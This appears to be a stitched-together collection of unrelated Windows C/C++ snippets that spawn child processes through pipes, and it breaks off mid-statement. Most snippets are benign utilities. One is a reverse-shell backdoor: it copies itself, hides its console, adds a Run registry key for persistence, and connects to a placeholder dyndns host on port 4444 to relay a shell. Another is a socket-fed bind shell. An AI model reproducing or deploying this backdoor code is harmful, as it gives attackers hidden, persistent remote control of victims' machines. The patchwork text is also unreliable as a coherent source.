int main(){ if (!InitializePipes()){ std::cout << "Failed To Initialize Pipes" << std::endl; return -1; } TCHAR program[] = TEXT("python test.py"); if (!CreateChildProcess(program)){ std::cout << "Failed To Create Child Process" << std::endl; return -1; } //char cmd[] = "print(\"hello\")\n"; // The valid one char cmd[] = "print asdf\n"; // The invalid one if (!WriteToPipe(cmd, strlen(cmd) + 1)){ std::cout << "Failed To Write" << std::endl; return -1; } char buf[128]; int len = ReadFromPipe(buf, 128); if (len == 0){ std::cout << "Failed To Read" << std::endl; return -1; } buf[len] = '\0'; std::cout << "Contents read from Pipe :\n" << buf << std::endl; return 0; }
HANDLE Process::CreateProcess(const char* lpszCommandLine, char* lpszArguments) { SECURITY_ATTRIBUTES saAttr; BOOL fSuccess; // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Get the handle to the current STDOUT. hStdout = GetStdHandle(STD_OUTPUT_HANDLE); // Create a pipe for the child process's STDOUT. if (!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) return 0; // Create noninheritable read handle and close the inheritable read // handle. fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdoutRd, GetCurrentProcess(), &hChildStdoutRdDup , 0, FALSE, DUPLICATE_SAME_ACCESS); if( !fSuccess ) return 0; CloseHandle(hChildStdoutRd); // Now create the child process. HANDLE hProcess = CreateChildProcess(lpszCommandLine, lpszArguments); return hProcess; }
int main(int argc, char* argv[]) { SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(argc, argv); // Read from pipe that is the standard output for child process. ReadFromPipe(); return 0; }
bool ProcInOut::Exec(const std::string & cmd, std::string & out, DWORD timeout) { bool fSuccess; ZeroMemory(&saAttr, sizeof(saAttr)); saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; hSaveStdout = GetStdHandle(STD_OUTPUT_HANDLE); if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) return false; if (! SetStdHandle(STD_OUTPUT_HANDLE, hChildStdoutWr)) return false; fSuccess = (DuplicateHandle(GetCurrentProcess(), hChildStdoutRd, GetCurrentProcess(), &hChildStdoutRdDup , 0, (FALSE ? false : true), (BOOL)DUPLICATE_SAME_ACCESS) != 0); if( !fSuccess ) return false; CloseHandle(hChildStdoutRd); if (! CreateChildProcess(cmd)) { CloseHandle(hChildStdoutWr); CloseHandle(hChildStdoutRdDup); CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); return false; } if (! SetStdHandle(STD_OUTPUT_HANDLE, hSaveStdout)) return false; if (!CloseHandle(hChildStdoutWr)) return false; HANDLE lpHandles[] = { piProcInfo.hProcess, hChildStdoutRdDup, NULL}; DWORD dwWait; DWORD timerStart = GetTickCount(); DWORD timerEnd; for (;;) { dwWait = WaitForMultipleObjects(2, lpHandles, false, timeout); // process finished if (dwWait == WAIT_OBJECT_0 || dwWait == WAIT_ABANDONED_0 || dwWait == (WAIT_ABANDONED_0 + 1)) { break; } if (dwWait == (WAIT_OBJECT_0 + 1)) { timerEnd = GetTickCount(); // timeout if (timerEnd < timerStart && ((MAXDWORD - timerStart) + timerEnd) >= timeout) // counter has been reinitialized break ; if (timerStart < timerEnd && (timerEnd - timerStart) >= timeout) break ; ReadFromPipe(out); } if (dwWait == WAIT_TIMEOUT) { break; } } CloseHandle(hChildStdoutRdDup); CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); return true; }
int main(int argc, TCHAR *argv[]) { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. //char* cmd = "plot sin(x)\n"; char* cmd = "print \"haha\"\n"; int size = strlen(cmd); WriteToPipe((LPVOID*)cmd, size); //WriteToPipe(); //printf("\n->Contents of %s written to child STDIN pipe.\n", argv[1]); // Read from pipe that is the standard output for child process. //printf("\n->Contents of child process STDOUT:\n\n", argv[1]); ReadFromPipe(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. system("pause"); return 0; }
void CAgentCfg::SpawnProcess() { WriteCfgFile(_cfgFile, _xmlFile, _destFolder); std::string sCmdLine; sCmdLine+=::ExeDirectory() + "agent.exe "; sCmdLine+= " debug "; sCmdLine+= _cfgFile ; CreateChildProcess(sCmdLine.c_str()); }
bool ExecProcess( LPCTSTR cmdLine, const std::vector<uint8_t>& inData, std::vector<uint8_t>& outData ) { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, BUFSIZE) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, inData.size())) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess((LPTSTR)cmdLine); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. WriteToPipe(&inData[0], inData.size()); // Read from pipe that is the standard output for child process. ReadFromPipe(outData); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return true; }
void cPipe::RunCommandLine(const diesel::string_t& sCommandLine) { CreateChildProcess(sCommandLine); ::CloseHandle(hChildStd_OUT_Wr); ReadFromPipe(); ::CloseHandle(hChildStd_OUT_Rd); // Wait for the child to finish ::WaitForSingleObject(hChildProcess, INFINITE); hChildProcess = NULL; }
int StartProcess(std::string const& executable, std::vector<std::string> const& args, std::string const& logger, std::string input_file, bool secure) { return CreateChildProcess([](child& c) -> int { try { return wait_for_exit(c); } catch (...) { return EXIT_FAILURE; } }, executable, args, logger, input_file, secure); }
GdbDebugger::GdbDebugger(void) { SECURITY_ATTRIBUTES saAttr; //Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; //Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); ReadFromPipe(); }
int StartProcess() { ASSERT(!my_child, "Process started already!"); return CreateChildProcess([&](child& c) -> int { int result; my_child = std::reference_wrapper<child>(c); try { result = wait_for_exit(c); } catch (...) { result = EXIT_FAILURE; } my_child.reset(); return was_terminated ? EXIT_FAILURE : result; }, executable, args, logger, input_file, is_secure); }
int _tmain(int argc, CHAR *argv[]) { SECURITY_ATTRIBUTES saAttr; InitializeCriticalSection(&g_tear_down_crit); if (!SetConsoleCtrlHandler(OnConsoleCtrlEvent, TRUE)) { fprintf(stderr, "Parent: Failed to subscribe to console ctrl events\n"); return -1; } if (ParseParameters(argc, argv, &g_config) != 0) { fprintf(stderr, "Failed to parse arguments\n"); return -1; } // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_child_std_in_rd, &g_child_std_in_wr, &saAttr, 0)) { ErrorExit(TEXT("Stdin CreatePipe")); } // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_child_std_in_wr, HANDLE_FLAG_INHERIT, 0)) { ErrorExit(TEXT("Stdin SetHandleInformation")); } // Create the child process. if (CreateChildProcess(&g_config)) { TrackChildProcess(&g_config); } return 0; }
STDMETHODIMP CWinRobotService::GetActiveConsoleSession(IUnknown** ppSession) { TrackDebugOut; if(ppSession == 0) { DebugOutF(filelog::log_error,"GetActiveConsoleSession failed,ppSession == null"); return E_POINTER; } *ppSession = 0 ; // if has exist,determine whether the process has been closed. CAutoLockEx<CCrtSection> lock(m_csLock); static Kernel32Dll dll; DWORD sid = dll.WTSGetActiveConsoleSessionId(); { CAutoLock<CCrtSection> lock2(m_csLockSessions); SESSIONS::iterator it = m_sessions.find(sid); if ( it != m_sessions.end() ) { CRefObj< CReference_T<SESSION> > sn = it->second; _ASSERT(sn->pSession); if ( sn->IsOK() ) { HRESULT hr = sn->pSession->QueryInterface(__uuidof(IWinRobotSession),(void**)ppSession); if(SUCCEEDED(hr)) { DebugOutF(filelog::log_info,"GetActiveConsoleSession %d ok",sid); } else { DebugOutF(filelog::log_error,"GetActiveConsoleSession %d failed with 0x%x ",sid,hr); } return hr; } } } // else,create a new child process,and then wait for complete HANDLE hProcess = CreateChildProcess(sid); if(!hProcess) { return E_UNEXPECTED; } ResetEvent(m_hNewReg); HANDLE hd[] = {m_hExit,m_hNewReg,hProcess}; HRESULT hr = S_OK; /*while (SUCCEEDED(hr))*/ { DWORD res = WaitForMultipleObjects(RTL_NUMBER_OF(hd),hd,FALSE,-1); if( (res < WAIT_OBJECT_0) || (res>=res+RTL_NUMBER_OF(hd) ) ) { hr = E_UNEXPECTED; DebugOutF(filelog::log_error,"WaitForMultipleObjects failed with %d ",GetLastError() ); } else if (hd[res-WAIT_OBJECT_0] == m_hExit) { DebugOutF(filelog::log_error,"GetActiveConsoleSession failed,CWinRobotService stopped"); hr = E_UNEXPECTED; //break; } else if(hd[res-WAIT_OBJECT_0] == m_hNewReg) { CAutoLock<CCrtSection> lock2(m_csLockSessions); for (SESSIONS::iterator it = m_sessions.begin(); it != m_sessions.end(); it++) { if(GetProcessId(hProcess) == GetProcessId(it->second->m_hProcess)){ CRefObj< CReference_T<SESSION> > sn = it->second; _ASSERT(sn->pSession); //! this will be a bug ! // sometimes CreateChildProcess failed on the specified session with error 233, // then we CreateChildProcess on session 0 to make sure we can capture something, // so the sid will be not the specified session. if(it->first != sid){ m_sessions.erase(it); m_sessions[sid] = sn; } if ( sn->IsOK() ) { hr = sn->pSession->QueryInterface(__uuidof(IWinRobotSession),(void**)ppSession); if(SUCCEEDED(hr)) { DebugOutF(filelog::log_info,"GetActiveConsoleSession %d ok",sid); } else { DebugOutF(filelog::log_error,"GetActiveConsoleSession %d failed with 0x%x ",sid,hr); } break; } else { DebugOutF(filelog::log_error,"GetActiveConsoleSession failed, process has end"); hr = E_UNEXPECTED; break; } } } } else if(hd[res-WAIT_OBJECT_0] == hProcess) { DebugOutF(filelog::log_error,"GetActiveConsoleSession failed,process has end"); hr = E_UNEXPECTED; //break; }else{ DebugOutF(filelog::log_error,"GetActiveConsoleSession failed"); hr = E_UNEXPECTED; } } CloseHandle(hProcess); return hr;// should never be here }
// Copy the pagefile to the current place in the output file. void WinPmem::write_page_file() { unsigned __int64 pagefile_offset = out_offset; TCHAR path[MAX_PATH + 1]; TCHAR filename[MAX_PATH + 1]; if (!GetTempPath(MAX_PATH, path)) { dprintf("[WINPMEM] Unable to determine temporary path."); goto error; } // filename is now the random path. GetTempFileName(path, L"fls", 0, filename); dprintf("[WINPMEM] Extracting fcat to %s", filename); if (extract_file_(WINPMEM_FCAT_EXECUTABLE, filename) < 0) { goto error; }; SECURITY_ATTRIBUTES saAttr; HANDLE stdout_rd = NULL; HANDLE stdout_wr = NULL; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if (!CreatePipe(&stdout_rd, &stdout_wr, &saAttr, 0)) { dprintf("[WINPMEM] StdoutRd CreatePipe"); goto error; }; // Ensure the read handle to the pipe for STDOUT is not inherited. SetHandleInformation(stdout_rd, HANDLE_FLAG_INHERIT, 0); WCHAR command_line[1000]; swprintf(command_line, 1000, L"%s %s \\\\.\\%s", filename, &pagefile_path_[3], pagefile_path_); CreateChildProcess(command_line, stdout_wr); dprintf("[WINPMEM] Preparing to read pagefile."); while (1) { DWORD bytes_read = buffer_size_; DWORD bytes_written = 0; if (!ReadFile(stdout_rd, buffer_, bytes_read, &bytes_read, NULL)) { break; }; if (!WriteFile(out_fd_, buffer_, bytes_read, &bytes_written, NULL) || bytes_written != bytes_read) { dprintf("[WINPMEM] Failed to write image file"); goto error; }; out_offset += bytes_written; }; error: // Write another metadata header. { char metadata[1000]; _snprintf_s(metadata, sizeof(metadata), _TRUNCATE, "# PMEM\n" "---\n" "PreviousHeader: %#llx\n" "PagefileOffset: %#llx\n" "PagefileSize: %#llx\n" "...\n", last_header_offset_, pagefile_offset, out_offset - pagefile_offset ); DWORD metadata_len = (DWORD)strlen(metadata); DWORD bytes_written = 0; if (!WriteFile(out_fd_, metadata, metadata_len, &bytes_written, NULL) || bytes_written != metadata_len) { dprintf("[WINPMEM] Failed to write image file"); }; out_offset += bytes_written; }; DeleteFile(filename); return; };
int main(int argc, char** argv) { char dyndns[] ="www.youradress.com"; //Get the CWD and append the new Filename for the Copy-Method of the exe itself. //Note: Ugly one... leave it in his dark place alone and hope it will die someday.. char * buffer; buffer = _getcwd(NULL, 0); int counter =0; for(int i = 0;;i++) { if(counter == 2) { if(buffer[i] == '\\' || buffer[i] == '>') { buffer[i] = 0; break; } } if(buffer[i]=='\\') { counter++; } } strcat(buffer,"\\yourfilename.exe"); CopyFileA(argv[0],buffer,false); #if !DEBUG //Hideing the console window HWND hWnd = GetConsoleWindow(); ShowWindow( hWnd, SW_HIDE ); //Setting the console name for fun and profit //char name[]="SPARTA"; //SetConsoleTitleA(name); char subkey[]= "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //char cwd[1024]; //char asf[] = "lolololol"; //_getcwd(cwd,1024); //strcat(cwd,"\\"); //strcpy(cwd,**argv); //strcat(cwd,argv[0]); DWORD shit=0; RegSetValueA(HKEY_CURRENT_USER,subkey,REG_SZ, buffer, shit); #endif //Testausgabe #if DEBUG printf("Socket Client\n"); #endif //Variablen initialisieren long returnvalue; SOCKADDR_IN addr; SECURITY_ATTRIBUTES saAttr; #if DEBUG printf("\n->Start of parent execution.\n"); #endif // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) exit(2); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) exit(3); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) exit(4); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) exit(5); // Create the child process. CreateChildProcess(); //Weitere SOCKET Abhandlungen... //Socket Verfügbarkeit prüfen do { returnvalue = StartWinsock(); if(returnvalue != 0) { #if DEBUG printf("[-] Fehler: StartWinsock Fehlercode: %d!\n",returnvalue); #endif Sleep(60000); } #if DEBUG else { printf("[+] Winsock gestartet!\n"); } #endif } while(returnvalue != 0); //Socket initialisieren do { sock = socket(AF_INET,SOCK_STREAM,0); if(sock == INVALID_SOCKET) { #if DEBUG printf("[-] Fehler: Der Socket konnte nicht erstellt werden, fehler code: %d\n",WSAGetLastError()); #endif Sleep(60000); } #if DEBUG else { printf("[+] Socket erstellt!\n"); } #endif } while(sock == INVALID_SOCKET); //Port und IP übergabe memset(&addr,0,sizeof(SOCKADDR_IN)); addr.sin_family = AF_INET; addr.sin_port = htons(4444); //addr.sin_addr.s_addr = inet_addr("127.0.0.1"); do { returnvalue = getAddrFromString(dyndns,&addr); if(returnvalue == SOCKET_ERROR) { #if DEBUG printf("[-] Fehler: IP für %s konnte nicht aufgeloest werden.\n"); #endif Sleep(60000); } #if DEBUG else { printf("[+] IP aufgelöst!\n"); } #endif } while(returnvalue == SOCKET_ERROR); //Verbindungsaufbau do { returnvalue = connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR)); if(returnvalue == SOCKET_ERROR) { #if DEBUG printf("[-] Fehler: connect gescheitert, fehler code: %d\n",WSAGetLastError()); #endif Sleep(60000); } #if DEBUG else { printf("[+] Verbindung hergestellt mit %s\n",argv[1]); } #endif } while(returnvalue == SOCKET_ERROR); for(;;) { #if DEBUG //Warten auf Input printf("[-] Warte auf Input ...\n\n"); #endif WriteToPipe(); ReadFromPipe(); if(exitOnForce) { #if DEBUG printf("\n->SYSTEM GOING DOWN!\n"); #endif break; } } #if DEBUG printf("\n->End of parent execution.\n"); #endif // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }
/* * Runs a console based program and puts the results in the "results params" * * @param cmdLine Complete path of the executible * @param results Output parameter that will hold all the results. * @return */ bool TConsoleRunner::Run(AnsiString cmdLine, vector<string>* results, HWND parentHandle){ SECURITY_ATTRIBUTES saAttr; BOOL fSuccess; // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Get the handle to the current STDOUT. //hStdout = GetStdHandle(STD_OUTPUT_HANDLE); // Create a pipe for the child process's STDOUT. if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)){ lastError = "Stdout pipe creation failed"; return false; } // Ensure the read handle to the pipe for STDOUT is not inherited. SetHandleInformation( hChildStdoutRd, HANDLE_FLAG_INHERIT, 0); // Create a pipe for the child process's STDIN. if (! CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)){ lastError = "Stdin pipe creation failed"; return false; } // Ensure the write handle to the pipe for STDIN is not inherited. SetHandleInformation( hChildStdinWr, HANDLE_FLAG_INHERIT, 0); // Now create the child process. fSuccess = CreateChildProcess(cmdLine); if (! fSuccess){ lastError = "Create process failed with"; return false; } if(parentHandle != NULL){ SendMessage(parentHandle, PROCESS_STARTED, childPid, (LPARAM)childProcessHandle); } // Read from pipe that is the standard output for child process. ReadFromPipe(results, parentHandle); WaitForSingleObject(childProcessHandle, 4000); if(GetExitCodeProcess(childProcessHandle, &exitCode) == FALSE){ exitCode = -1; } if(exitCode == STILL_ACTIVE){ exitCode = -1; } if(parentHandle != NULL){ SendMessage(parentHandle, PROCESS_TERMINATED, childPid, (LPARAM)childProcessHandle); } return true; }
int _tmain(int argc, TCHAR *argv[]) { SECURITY_ATTRIBUTES saAttr; printf("\n->Start of parent execution.\n"); // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. if ( ! CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0) ) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if ( ! SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (! CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if ( ! SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0) ) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Get a handle to an input file for the parent. // This example assumes a plain text file and uses string output to verify data flow. if (argc == 1) ErrorExit(TEXT("Please specify an input file.\n")); g_hInputFile = CreateFile( argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); if ( g_hInputFile == INVALID_HANDLE_VALUE ) ErrorExit(TEXT("CreateFile")); // Write to the pipe that is the standard input for a child process. // Data is written to the pipe's buffers, so it is not necessary to wait // until the child process is running before writing data. WriteToPipe(); printf( "\n->Contents of %s written to child STDIN pipe.\n", argv[1]); // Read from pipe that is the standard output for child process. printf( "\n->Contents of child process STDOUT:\n\n", argv[1]); ReadFromPipe(); printf("\n->End of parent execution.\n"); // The remaining open handles are cleaned up when this process terminates. // To avoid resource leaks in a larger application, close handles explicitly. return 0; }
int _tmain(int argc, _TCHAR* argv[]) { WSADATA wsaData; int iResult; BOOL isFirstConnect = true; SOCKET ListenSocket = INVALID_SOCKET; SOCKET ClientSocket = INVALID_SOCKET; struct addrinfo *result = NULL; struct addrinfo hints; int iSendResult; char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; // Initialize Winsock iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("WSAStartup failed with error: %d\n", iResult); return 1; } ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; // Resolve the server address and port iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if (iResult != 0) { printf("getaddrinfo failed with error: %d\n", iResult); WSACleanup(); return 1; } // Create a SOCKET for connecting to server ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("socket failed with error: %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Setup the TCP listening socket iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed with error: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } freeaddrinfo(result); // Limitless listen socket - if we close connection, then we can receive another client iResult = listen(ListenSocket, SOMAXCONN); if (iResult == SOCKET_ERROR) { printf("listen failed with error: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // Accept a client socket ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed with error: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } // No longer need server socket closesocket(ListenSocket); SECURITY_ATTRIBUTES saAttr; saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) ErrorExit(TEXT("StdoutRd CreatePipe")); // Ensure the read handle to the pipe for STDOUT is not inherited. if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdout SetHandleInformation")); // Create a pipe for the child process's STDIN. if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) ErrorExit(TEXT("Stdin CreatePipe")); // Ensure the write handle to the pipe for STDIN is not inherited. if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) ErrorExit(TEXT("Stdin SetHandleInformation")); // Create the child process. CreateChildProcess(); // Create thread for sending from pipe HANDLE hThread; DWORD dwThreadId; hThread = CreateThread( NULL, // default security attributes 0, // use default stack size listenAndSend, // thread function name &ClientSocket, // argument to thread function 0, // use default creation flags &dwThreadId); // Receive until the peer shuts down the connection do { ZeroMemory(&recvbuf, recvbuflen); iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { WriteToPipe(recvbuf); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } } while (iResult > 0); if ((CloseHandle(g_hChildStd_OUT_Wr) == 0) || (CloseHandle(g_hChildStd_IN_Wr) == 0) || (CloseHandle(g_hChildStd_IN_Rd) == 0) || (CloseHandle(g_hChildStd_OUT_Rd) == 0)) { printf("can't close pipes\n"); return 1; } closesocket(ListenSocket); // Terminate thread DWORD exitCode; if (GetExitCodeThread(hThread, &exitCode) != 0) { if (TerminateThread(hThread, exitCode) != 0) { printf("close thread\n"); } } // shutdown the connection since we're done iResult = shutdown(ClientSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed with error: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } // cleanup closesocket(ClientSocket); WSACleanup(); return 0; }
DWORD main(int argc, char *argv[]) { SECURITY_ATTRIBUTES saAttr; BOOL fSuccess; // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // The steps for redirecting child process's STDOUT: // 1. Save current STDOUT, to be restored later. // 2. Create anonymous pipe to be STDOUT for child process. // 3. Set STDOUT of the parent process to be write handle to // the pipe, so it is inherited by the child process. // 4. Create a noninheritable duplicate of the read handle and // close the inheritable read handle. // Save the handle to the current STDOUT. hSaveStdout = GetStdHandle(STD_OUTPUT_HANDLE); // Create a pipe for the child process's STDOUT. if (! CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) ErrorExit("Stdout pipe creation failed\n"); // Set a write handle to the pipe to be STDOUT. if (! SetStdHandle(STD_OUTPUT_HANDLE, hChildStdoutWr)) ErrorExit("Redirecting STDOUT failed"); // Create noninheritable read handle and close the inheritable read // handle. fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdoutRd, GetCurrentProcess(), &hChildStdoutRdDup , 0, FALSE, DUPLICATE_SAME_ACCESS); if( !fSuccess ) ErrorExit("DuplicateHandle failed"); CloseHandle(hChildStdoutRd); // The steps for redirecting child process's STDIN: // 1. Save current STDIN, to be restored later. // 2. Create anonymous pipe to be STDIN for child process. // 3. Set STDIN of the parent to be the read handle to the // pipe, so it is inherited by the child process. // 4. Create a noninheritable duplicate of the write handle, // and close the inheritable write handle. // Save the handle to the current STDIN. hSaveStdin = GetStdHandle(STD_INPUT_HANDLE); // Create a pipe for the child process's STDIN. if (! CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)) ErrorExit("Stdin pipe creation failed\n"); // Set a read handle to the pipe to be STDIN. if (! SetStdHandle(STD_INPUT_HANDLE, hChildStdinRd)) ErrorExit("Redirecting Stdin failed"); // Duplicate the write handle to the pipe so it is not inherited. fSuccess = DuplicateHandle(GetCurrentProcess(), hChildStdinWr, GetCurrentProcess(), &hChildStdinWrDup, 0, FALSE, // not inherited DUPLICATE_SAME_ACCESS); if (! fSuccess) ErrorExit("DuplicateHandle failed"); CloseHandle(hChildStdinWr); // Now create the child process. if (! 